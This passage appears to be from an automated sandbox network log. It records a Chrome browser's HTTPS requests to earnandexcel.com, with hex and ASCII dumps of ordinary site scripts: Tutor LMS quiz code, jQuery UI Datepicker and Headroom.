"#tutor-quiz-time-expire-wrapper";f(o).addClass("tutor-alert-show");if(n>0){f("".concat(o," .tutor-quiz-alert-text")).html(h("Your time limit for this quiz has expired, please reattempt the quiz. Attempts remaining:","tutor")+" "+n+"/"+r)}else{if(f(o).has
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 69 7a 2d 74 69 6d 65 2d 72 65 6d 61 69 6e 69 6e 67 2d 65 78 70 69 72 65 64 2d 63 69 72 63 6c 65 22 29 7d 6c 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 74 79 6c 65 22 2c 22 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 20 22 2e 63 6f 6e 63 61 74 28 64 2c 22 3b 22 29 29 7d 7d 7d 2c 31 65 33 29 7d 65 6c 73 65 7b 70 2e 68 74 6d 6c 28 68 28 22 4e 6f 20 4c 69 6d 69 74 22 2c 22 74 75 74 6f 72 22 29 29 7d 7d 76 61 72 20 6e 3d 66 28 22 66 6f 72 6d 23 74 75 74 6f 72 2d 73 74 61 72 74 2d 71 75 69 7a 22 29 3b 69 66 28 6e 2e 6c 65 6e 67 74 68 29 7b 69 66 28 5f 74 75 74 6f 72 6f 62 6a 65 63 74 2e 71 75 69 7a 5f 6f 70 74 69 6f 6e 73 2e 71 75 69 7a 5f 61 75 74 6f 5f 73 74 61 72 74 3d 3d 31 29 7b 6e 2e 73 75 62 6d 69 74 28 29 7d 7d 7d 29 7d 2c 33 34 31 39 3a Data Ascii: iz-time-remaining-expired-circle")}l.setAttribute("style","stroke-dashoffset: ".concat(d,";"))}}},1e3)}else{p.html(h("No Limit","tutor"))}}var n=f("form#tutor-start-quiz");if(n.length){if(_tutorobject.quiz_options.quiz_auto_start==1){n.submit()}}})},3419:
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 76 61 72 20 72 3d 69 2e 69 6e 64 65 78 4f 66 28 74 2e 76 61 6c 28 29 29 3e 2d 31 3b 76 61 72 20 6e 3d 74 2e 69 73 28 22 3a 63 68 65 63 6b 65 64 22 29 3b 69 66 28 72 29 7b 74 2e 63 6c 6f 73 65 73 74 28 22 2e 74 75 74 6f 72 2d 71 75 69 7a 2d 61 6e 73 77 65 72 2d 73 69 6e 67 6c 65 22 29 2e 61 64 64 43 6c 61 73 73 28 22 74 75 74 6f 72 2d 71 75 69 7a 2d 61 6e 73 77 65 72 2d 73 69 6e 67 6c 65 2d 63 6f 72 72 65 63 74 22 29 2e 61 70 70 65 6e 64 28 73 28 75 28 22 43 6f 72 72 65 63 74 20 41 6e 73 77 65 72 22 2c 22 74 75 74 6f 72 22 29 29 29 2e 66 69 6e 64 28 22 2e 74 75 74 6f 72 2d 71 75 69 7a 2d 61 6e 73 77 65 72 2d 73 69 6e 67 6c 65 2d 69 6e 66 6f 3a 65 71 28 31 29 22 29 2e 72 65 6d 6f 76 65 28 29 7d 65 6c 73 65 7b 69 66 28 74 2e 70 72 6f 70 28 22 63 68 65 63 6b Data Ascii: var r=i.indexOf(t.val())>-1;var n=t.is(":checked");if(r){t.closest(".tutor-quiz-answer-single").addClass("tutor-quiz-answer-single-correct").append(s(u("Correct Answer","tutor"))).find(".tutor-quiz-answer-single-info:eq(1)").remove()}else{if(t.prop("check
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 68 69 73 20 71 75 65 73 74 69 6f 6e 20 69 73 20 72 65 71 75 69 72 65 64 22 2c 22 74 75 74 6f 72 22 29 2c 22 3c 2f 70 3e 22 29 29 3b 6e 3d 66 61 6c 73 65 7d 7d 7d 72 65 74 75 72 6e 20 6e 7d 6c 28 22 2e 74 75 74 6f 72 2d 71 75 69 7a 2d 6e 65 78 74 2d 62 74 6e 2d 61 6c 6c 22 29 2e 70 72 6f 70 28 22 64 69 73 61 62 6c 65 64 22 2c 66 61 6c 73 65 29 3b 6c 28 22 2e 71 75 69 7a 2d 61 74 74 65 6d 70 74 2d 73 69 6e 67 6c 65 2d 71 75 65 73 74 69 6f 6e 20 69 6e 70 75 74 22 29 2e 66 69 6c 74 65 72 28 27 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2c 20 5b 74 79 70 65 3d 22 63 68 65 63 6b 62 6f 78 22 5d 27 29 2e 63 68 61 6e 67 65 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 28 22 2e 74 75 74 6f 72 2d 71 75 69 7a 2d 6e 65 78 74 2d 62 74 6e 2d 61 6c 6c 22 29 2e 70 72 6f 70 28 22 Data Ascii: his question is required","tutor"),"</p>"));n=false}}}return n}l(".tutor-quiz-next-btn-all").prop("disabled",false);l(".quiz-attempt-single-question input").filter('[type="radio"], [type="checkbox"]').change(function(){l(".tutor-quiz-next-btn-all").prop("

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.17	49817	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:42 UTC	818	OUT	GET /wp-includes/js/jquery/ui/datepicker.min.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga=GA1.1.668614997.1712870801
2024-04-11 21:26:43 UTC	944	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:42 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e749bc142cc-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"605d329a-8d34" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 26 Mar 2021 01:02:18 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lhe8cxaWD5R7N0dpKHZ1pU3aXkI9ibJdwj4lHYcZhE6kWaZUncd3xVGky%2F%2BZFCHeX8p9447fiEMfJOxP1dvQgBxZYqpLTPczWNFhcW9YW%2BhddXZaKxEg9JCB%2BOY%2FC2jayPs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:43 UTC	425	IN	Data Raw: 37 63 30 30 0d 0a 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 55 49 20 44 61 74 65 70 69 63 6b 65 72 20 31 2e 31 32 2e 31 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 2e 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 6a 71 75 65 72 79 Data Ascii: 7c00/! jQuery UI Datepicker 1.12.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */!function(e){"function"==typeof define&&define.amd?define(["jquery
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 61 69 6e 44 69 76 49 64 3d 22 75 69 2d 64 61 74 65 70 69 63 6b 65 72 2d 64 69 76 22 2c 74 68 69 73 2e 5f 69 6e 6c 69 6e 65 43 6c 61 73 73 3d 22 75 69 2d 64 61 74 65 70 69 63 6b 65 72 2d 69 6e 6c 69 6e 65 22 2c 74 68 69 73 2e 5f 61 70 70 65 6e 64 43 6c 61 73 73 3d 22 75 69 2d 64 61 74 65 70 69 63 6b 65 72 2d 61 70 70 65 6e 64 22 2c 74 68 69 73 2e 5f 74 72 69 67 67 65 72 43 6c 61 73 73 3d 22 75 69 2d 64 61 74 65 70 69 63 6b 65 72 2d 74 72 69 67 67 65 72 22 2c 74 68 69 73 2e 5f 64 69 61 6c 6f 67 43 6c 61 73 73 3d 22 75 69 2d 64 61 74 65 70 69 63 6b 65 72 2d 64 69 61 6c 6f 67 22 2c 74 68 69 73 2e 5f 64 69 73 61 62 6c 65 43 6c 61 73 73 3d 22 75 69 2d 64 61 74 65 70 69 63 6b 65 72 2d 64 69 73 61 62 6c 65 64 22 2c 74 68 69 73 2e 5f 75 6e 73 65 6c 65 63 74 61 62 Data Ascii: ainDivId="ui-datepicker-div",this._inlineClass="ui-datepicker-inline",this._appendClass="ui-datepicker-append",this._triggerClass="ui-datepicker-trigger",this._dialogClass="ui-datepicker-dialog",this._disableClass="ui-datepicker-disabled",this._unselectab
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 78 44 61 74 65 3a 6e 75 6c 6c 2c 64 75 72 61 74 69 6f 6e 3a 22 66 61 73 74 22 2c 62 65 66 6f 72 65 53 68 6f 77 44 61 79 3a 6e 75 6c 6c 2c 62 65 66 6f 72 65 53 68 6f 77 3a 6e 75 6c 6c 2c 6f 6e 53 65 6c 65 63 74 3a 6e 75 6c 6c 2c 6f 6e 43 68 61 6e 67 65 4d 6f 6e 74 68 59 65 61 72 3a 6e 75 6c 6c 2c 6f 6e 43 6c 6f 73 65 3a 6e 75 6c 6c 2c 6e 75 6d 62 65 72 4f 66 4d 6f 6e 74 68 73 3a 31 2c 73 68 6f 77 43 75 72 72 65 6e 74 41 74 50 6f 73 3a 30 2c 73 74 65 70 4d 6f 6e 74 68 73 3a 31 2c 73 74 65 70 42 69 67 4d 6f 6e 74 68 73 3a 31 32 2c 61 6c 74 46 69 65 6c 64 3a 22 22 2c 61 6c 74 46 6f 72 6d 61 74 3a 22 22 2c 63 6f 6e 73 74 72 61 69 6e 49 6e 70 75 74 3a 21 30 2c 73 68 6f 77 42 75 74 74 6f 6e 50 61 6e 65 6c 3a 21 31 2c 61 75 74 6f 53 69 7a 65 3a 21 31 2c 64 69 73 Data Ascii: xDate:null,duration:"fast",beforeShowDay:null,beforeShow:null,onSelect:null,onChangeMonthYear:null,onClose:null,numberOfMonths:1,showCurrentAtPos:0,stepMonths:1,stepBigMonths:12,altField:"",altFormat:"",constrainInput:!0,showButtonPanel:!1,autoSize:!1,dis
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 28 76 61 72 20 61 20 69 6e 20 4d 2e 65 78 74 65 6e 64 28 65 2c 74 29 2c 74 29 6e 75 6c 6c 3d 3d 74 5b 61 5d 26 26 28 65 5b 61 5d 3d 74 5b 61 5d 29 3b 72 65 74 75 72 6e 20 65 7d 72 65 74 75 72 6e 20 4d 2e 65 78 74 65 6e 64 28 4d 2e 75 69 2c 7b 64 61 74 65 70 69 63 6b 65 72 3a 7b 76 65 72 73 69 6f 6e 3a 22 31 2e 31 32 2e 31 22 7d 7d 29 2c 4d 2e 65 78 74 65 6e 64 28 65 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 6d 61 72 6b 65 72 43 6c 61 73 73 4e 61 6d 65 3a 22 68 61 73 44 61 74 65 70 69 63 6b 65 72 22 2c 6d 61 78 52 6f 77 73 3a 34 2c 5f 77 69 64 67 65 74 44 61 74 65 70 69 63 6b 65 72 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 64 70 44 69 76 7d 2c 73 65 74 44 65 66 61 75 6c 74 73 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e Data Ascii: (var a in M.extend(e,t),t)null==t[a]&&(e[a]=t[a]);return e}return M.extend(M.ui,{datepicker:{version:"1.12.1"}}),M.extend(e.prototype,{markerClassName:"hasDatepicker",maxRows:4,_widgetDatepicker:function(){return this.dpDiv},setDefaults:function(e){return
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 22 3c 2f 73 70 61 6e 3e 22 29 2c 65 5b 73 3f 22 62 65 66 6f 72 65 22 3a 22 61 66 74 65 72 22 5d 28 74 2e 61 70 70 65 6e 64 29 29 2c 65 2e 6f 66 66 28 22 66 6f 63 75 73 22 2c 74 68 69 73 2e 5f 73 68 6f 77 44 61 74 65 70 69 63 6b 65 72 29 2c 74 2e 74 72 69 67 67 65 72 26 26 74 2e 74 72 69 67 67 65 72 2e 72 65 6d 6f 76 65 28 29 2c 22 66 6f 63 75 73 22 21 3d 3d 28 61 3d 74 68 69 73 2e 5f 67 65 74 28 74 2c 22 73 68 6f 77 4f 6e 22 29 29 26 26 22 62 6f 74 68 22 21 3d 3d 61 7c 7c 65 2e 6f 6e 28 22 66 6f 63 75 73 22 2c 74 68 69 73 2e 5f 73 68 6f 77 44 61 74 65 70 69 63 6b 65 72 29 2c 22 62 75 74 74 6f 6e 22 21 3d 3d 61 26 26 22 62 6f 74 68 22 21 3d 3d 61 7c 7c 28 69 3d 74 68 69 73 2e 5f 67 65 74 28 74 2c 22 62 75 74 74 6f 6e 54 65 78 74 22 29 2c 61 3d 74 68 69 73 Data Ascii: "</span>"),e[s?"before":"after"](t.append)),e.off("focus",this._showDatepicker),t.trigger&&t.trigger.remove(),"focus"!==(a=this._get(t,"showOn"))&&"both"!==a\|\|e.on("focus",this._showDatepicker),"button"!==a&&"both"!==a\|\|(i=this._get(t,"buttonText"),a=this
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 28 74 2e 64 70 44 69 76 29 2c 4d 2e 64 61 74 61 28 65 2c 22 64 61 74 65 70 69 63 6b 65 72 22 2c 74 29 2c 74 68 69 73 2e 5f 73 65 74 44 61 74 65 28 74 2c 74 68 69 73 2e 5f 67 65 74 44 65 66 61 75 6c 74 44 61 74 65 28 74 29 2c 21 30 29 2c 74 68 69 73 2e 5f 75 70 64 61 74 65 44 61 74 65 70 69 63 6b 65 72 28 74 29 2c 74 68 69 73 2e 5f 75 70 64 61 74 65 41 6c 74 65 72 6e 61 74 65 28 74 29 2c 74 2e 73 65 74 74 69 6e 67 73 2e 64 69 73 61 62 6c 65 64 26 26 74 68 69 73 2e 5f 64 69 73 61 62 6c 65 44 61 74 65 70 69 63 6b 65 72 28 65 29 2c 74 2e 64 70 44 69 76 2e 63 73 73 28 22 64 69 73 70 6c 61 79 22 2c 22 62 6c 6f 63 6b 22 29 29 7d 2c 5f 64 69 61 6c 6f 67 44 61 74 65 70 69 63 6b 65 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 61 2c 69 2c 73 29 7b 76 61 72 20 72 2c Data Ascii: (t.dpDiv),M.data(e,"datepicker",t),this._setDate(t,this._getDefaultDate(t),!0),this._updateDatepicker(t),this._updateAlternate(t),t.settings.disabled&&this._disableDatepicker(e),t.dpDiv.css("display","block"))},_dialogDatepicker:function(e,t,a,i,s){var r,
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 61 73 43 6c 61 73 73 28 74 68 69 73 2e 6d 61 72 6b 65 72 43 6c 61 73 73 4e 61 6d 65 29 26 26 28 74 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 4d 2e 72 65 6d 6f 76 65 44 61 74 61 28 65 2c 22 64 61 74 65 70 69 63 6b 65 72 22 29 2c 22 69 6e 70 75 74 22 3d 3d 3d 74 3f 28 69 2e 61 70 70 65 6e 64 2e 72 65 6d 6f 76 65 28 29 2c 69 2e 74 72 69 67 67 65 72 2e 72 65 6d 6f 76 65 28 29 2c 61 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 74 68 69 73 2e 6d 61 72 6b 65 72 43 6c 61 73 73 4e 61 6d 65 29 2e 6f 66 66 28 22 66 6f 63 75 73 22 2c 74 68 69 73 2e 5f 73 68 6f 77 44 61 74 65 70 69 63 6b 65 72 29 2e 6f 66 66 28 22 6b 65 79 64 6f 77 6e 22 2c 74 68 69 73 2e 5f 64 6f 4b 65 79 44 6f 77 6e 29 2e 6f 66 66 28 22 6b 65 79 70 72 65 73 73 22 2c 74 Data Ascii: asClass(this.markerClassName)&&(t=e.nodeName.toLowerCase(),M.removeData(e,"datepicker"),"input"===t?(i.append.remove(),i.trigger.remove(),a.removeClass(this.markerClassName).off("focus",this._showDatepicker).off("keydown",this._doKeyDown).off("keypress",t
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 2d 79 65 61 72 22 29 2e 70 72 6f 70 28 22 64 69 73 61 62 6c 65 64 22 2c 21 30 29 29 2c 74 68 69 73 2e 5f 64 69 73 61 62 6c 65 64 49 6e 70 75 74 73 3d 4d 2e 6d 61 70 28 74 68 69 73 2e 5f 64 69 73 61 62 6c 65 64 49 6e 70 75 74 73 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 74 3f 6e 75 6c 6c 3a 65 7d 29 2c 74 68 69 73 2e 5f 64 69 73 61 62 6c 65 64 49 6e 70 75 74 73 5b 74 68 69 73 2e 5f 64 69 73 61 62 6c 65 64 49 6e 70 75 74 73 2e 6c 65 6e 67 74 68 5d 3d 74 29 7d 2c 5f 69 73 44 69 73 61 62 6c 65 64 44 61 74 65 70 69 63 6b 65 72 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 21 31 3b 66 6f 72 28 76 61 72 20 74 3d 30 3b 74 3c 74 68 69 73 2e 5f 64 69 73 61 62 6c 65 64 49 6e 70 75 74 73 2e 6c 65 6e 67 74 68 Data Ascii: -year").prop("disabled",!0)),this._disabledInputs=M.map(this._disabledInputs,function(e){return e===t?null:e}),this._disabledInputs[this._disabledInputs.length]=t)},_isDisabledDatepicker:function(e){if(!e)return!1;for(var t=0;t<this._disabledInputs.length
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 70 69 63 6b 65 72 28 65 29 7d 2c 5f 73 65 74 44 61 74 65 44 61 74 65 70 69 63 6b 65 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 3d 74 68 69 73 2e 5f 67 65 74 49 6e 73 74 28 65 29 3b 65 26 26 28 74 68 69 73 2e 5f 73 65 74 44 61 74 65 28 65 2c 74 29 2c 74 68 69 73 2e 5f 75 70 64 61 74 65 44 61 74 65 70 69 63 6b 65 72 28 65 29 2c 74 68 69 73 2e 5f 75 70 64 61 74 65 41 6c 74 65 72 6e 61 74 65 28 65 29 29 7d 2c 5f 67 65 74 44 61 74 65 44 61 74 65 70 69 63 6b 65 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 3d 74 68 69 73 2e 5f 67 65 74 49 6e 73 74 28 65 29 3b 72 65 74 75 72 6e 20 65 26 26 21 65 2e 69 6e 6c 69 6e 65 26 26 74 68 69 73 2e 5f 73 65 74 44 61 74 65 46 72 6f 6d 46 69 65 6c 64 28 65 2c 74 29 2c 65 3f 74 68 69 73 2e 5f 67 65 74 44 61 74 65 Data Ascii: picker(e)},_setDateDatepicker:function(e,t){e=this._getInst(e);e&&(this._setDate(e,t),this._updateDatepicker(e),this._updateAlternate(e))},_getDateDatepicker:function(e,t){e=this._getInst(e);return e&&!e.inline&&this._setDateFromField(e,t),e?this._getDate
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 2e 74 61 72 67 65 74 2c 72 3f 31 3a 2d 31 2c 22 44 22 29 2c 73 3d 65 2e 63 74 72 6c 4b 65 79 7c 7c 65 2e 6d 65 74 61 4b 65 79 2c 65 2e 6f 72 69 67 69 6e 61 6c 45 76 65 6e 74 2e 61 6c 74 4b 65 79 26 26 4d 2e 64 61 74 65 70 69 63 6b 65 72 2e 5f 61 64 6a 75 73 74 44 61 74 65 28 65 2e 74 61 72 67 65 74 2c 65 2e 63 74 72 6c 4b 65 79 3f 2d 4d 2e 64 61 74 65 70 69 63 6b 65 72 2e 5f 67 65 74 28 69 2c 22 73 74 65 70 42 69 67 4d 6f 6e 74 68 73 22 29 3a 2d 4d 2e 64 61 74 65 70 69 63 6b 65 72 2e 5f 67 65 74 28 69 2c 22 73 74 65 70 4d 6f 6e 74 68 73 22 29 2c 22 4d 22 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 38 3a 28 65 2e 63 74 72 6c 4b 65 79 7c 7c 65 2e 6d 65 74 61 4b 65 79 29 26 26 4d 2e 64 61 74 65 70 69 63 6b 65 72 2e 5f 61 64 6a 75 73 74 44 61 74 65 28 65 2e 74 Data Ascii: .target,r?1:-1,"D"),s=e.ctrlKey\|\|e.metaKey,e.originalEvent.altKey&&M.datepicker._adjustDate(e.target,e.ctrlKey?-M.datepicker._get(i,"stepBigMonths"):-M.datepicker._get(i,"stepMonths"),"M");break;case 38:(e.ctrlKey\|\|e.metaKey)&&M.datepicker._adjustDate(e.t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.17	49818	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:42 UTC	827	OUT	GET /wp-content/themes/edumall/assets/js/headroom.min.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga=GA1.1.668614997.1712870801
2024-04-11 21:26:42 UTC	942	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:42 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e74d85c42c4-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32df-1588" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:07 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fvyBaUY6aiTSu8OcCvtYpFEosdCJ1VwOieRAenvY4EEP6v1Za5KF1rn02njO%2BkbAQCc1vLlG92vtDgIaQ%2BmTA%2FxeRundRTIS7bVmp94tF627SYpgZdHamCAQF%2BmTOOwmfkY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:42 UTC	427	IN	Data Raw: 31 35 38 38 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 6f 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 6f 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 6f 28 29 3a 74 2e 48 65 61 64 72 6f 6f 6d 3d 6f 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 74 3d 7b 62 69 6e 64 3a 21 21 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2e 62 69 6e 64 2c 63 6c 61 73 73 4c 69 73 74 3a 22 63 6c 61 73 73 4c 69 73 74 22 69 6e 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c Data Ascii: 1588!function(t,o){"use strict";"function"==typeof define&&define.amd?define([],o):"object"==typeof exports?module.exports=o():t.Headroom=o()}(this,function(){"use strict";var t={bind:!!function(){}.bind,classList:"classList"in document.documentElement,
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3c 3d 30 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 4d 69 73 73 69 6e 67 20 61 72 67 75 6d 65 6e 74 73 20 69 6e 20 65 78 74 65 6e 64 20 66 75 6e 63 74 69 6f 6e 22 29 3b 66 6f 72 28 76 61 72 20 6f 2c 69 2c 6e 3d 74 7c 7c 7b 7d 2c 65 3d 31 3b 65 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 7b 76 61 72 20 73 3d 61 72 67 75 6d 65 6e 74 73 5b 65 5d 7c 7c 7b 7d 3b 66 6f 72 28 6f 20 69 6e 20 73 29 22 6f 62 6a 65 63 74 22 21 3d 74 79 70 65 6f 66 20 6e 5b 6f 5d 7c 7c 28 69 3d 6e 5b 6f 5d 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 28 69 3d 3d 3d 77 69 6e 64 6f 77 7c 7c 69 2e 6e 6f 64 65 54 79 70 65 29 3f 6e 5b 6f 5d 3d 6e 5b 6f 5d 7c 7c 73 5b Data Ascii: guments.length<=0)throw new Error("Missing arguments in extend function");for(var o,i,n=t\|\|{},e=1;e<arguments.length;e++){var s=arguments[e]\|\|{};for(o in s)"object"!=typeof n[o]\|\|(i=n[o])&&"undefined"!=typeof window&&(i===window\|\|i.nodeType)?n[o]=n[o]\|\|s[
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 2c 74 2e 74 6f 70 2c 74 2e 6e 6f 74 54 6f 70 2c 74 2e 69 6e 69 74 69 61 6c 29 2c 74 68 69 73 2e 73 63 72 6f 6c 6c 65 72 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 73 63 72 6f 6c 6c 22 2c 74 68 69 73 2e 64 65 62 6f 75 6e 63 65 72 2c 21 31 29 7d 2c 61 74 74 61 63 68 45 76 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 69 6e 69 74 69 61 6c 69 73 65 64 7c 7c 28 74 68 69 73 2e 6c 61 73 74 4b 6e 6f 77 6e 53 63 72 6f 6c 6c 59 3d 74 68 69 73 2e 67 65 74 53 63 72 6f 6c 6c 59 28 29 2c 74 68 69 73 2e 69 6e 69 74 69 61 6c 69 73 65 64 3d 21 30 2c 74 68 69 73 2e 73 63 72 6f 6c 6c 65 72 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 73 63 72 6f 6c 6c 22 2c 74 68 69 73 2e 64 65 62 6f 75 6e 63 65 72 2c 21 31 29 2c 74 68 69 73 Data Ascii: ,t.top,t.notTop,t.initial),this.scroller.removeEventListener("scroll",this.debouncer,!1)},attachEvent:function(){this.initialised\|\|(this.lastKnownScrollY=this.getScrollY(),this.initialised=!0,this.scroller.addEventListener("scroll",this.debouncer,!1),this
